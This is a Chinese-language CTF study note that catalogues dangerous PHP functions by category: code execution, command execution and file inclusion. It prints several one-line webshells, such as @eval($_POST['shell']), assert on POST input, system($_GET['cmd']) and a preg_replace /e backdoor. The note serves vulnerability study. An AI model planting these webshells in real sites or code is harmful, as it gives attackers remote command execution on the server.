常用函数
eval() system() assert() exec() preg_replace() shell_exec() call_user_func() passthru() array_map() popen() 这些函数都是常见的敏感函数,容易造成一些危险的漏洞 当然也是很重要的考点,其具体作用参考(https://zhuanlan.zhihu.com/p/622502997)
这些是一个笼统的记录,他们有不同的危险特色: ###1、代码执行系 这些函数能够执行一些php的代码,造成危险,同时是flag的获取点
eval()
大名鼎鼎,臭名昭著。一句话木马常客一号。
<?php @eval($_POST['shell']);?>
assert()
同样是很敏感的东西,一句话木马常客二号
<?php assert(@$_POST['shell']); ?>
preg_replace()
这个不太常用,当匹配模式/e时,该函数会将$replacement作为php代码执行 贴一份对应一句话木马
preg_replace("/test/e",$_GET["shell"],"just test");
剩下几个使用范围较少,有的甚至已经被弃用了,这里就不做介绍了: create_function() (在php7.2.0后被废弃) array_map() call_user_func() call_user_func_array() array_filter()
2、命令执行系
system()
漏洞头头,这里放出一句话木马的形式:
<?php
system($_GET['cmd']);
?>
exec() 执行外部程序
<?php
echo exec("whoami");
?>
shell_exec() 通过shell环境执行命令,并将完整的输出以字符串的方式返回
<?php
echo shell_exec("whoami");
?>
剩下的由于不怎么常用,这里仅做列举 passthru() 执行外部程序并且显示原始输出
<?php
passthru("whoami");
?>
proc_open() 执行一个命令,并且打开用来输入/输出的文件指针 pcntl_exec() 在当前进程空间执行指定程序 popen() 打开进程文件指针 反引号,实质上还是调用的shell_exec()函数,在CTF题目里面有的时候会忘记过滤导致直接拿到flag
文件包含系
php中包含的函数一共有四个,主要作用为包含并运行指定文件 require() 函数 inclue() 函数 require_once() 函数 include_once() 函数 include()与require_once()主要的区别是:include()在包含的过程中如果出现错误,会抛出一个警告,程序继续运行;而require()函数出现错误时,会直接报错并退出程序的执行 require_once()和include_once(),显然表示的是文件只包含一次的意思,避免函数重定义和变量重新赋值等问题 这些函数通常配和伪协议来实现文件包含漏洞;
SSRF系
没学过还不会,先放着
XXE系
也没学过
其他:
php的变量名使用字母数字和下滑线构成的,所以会将空格、+、点、[转换为下划线,但是当[提前出现后,后面的点就不会再变成_了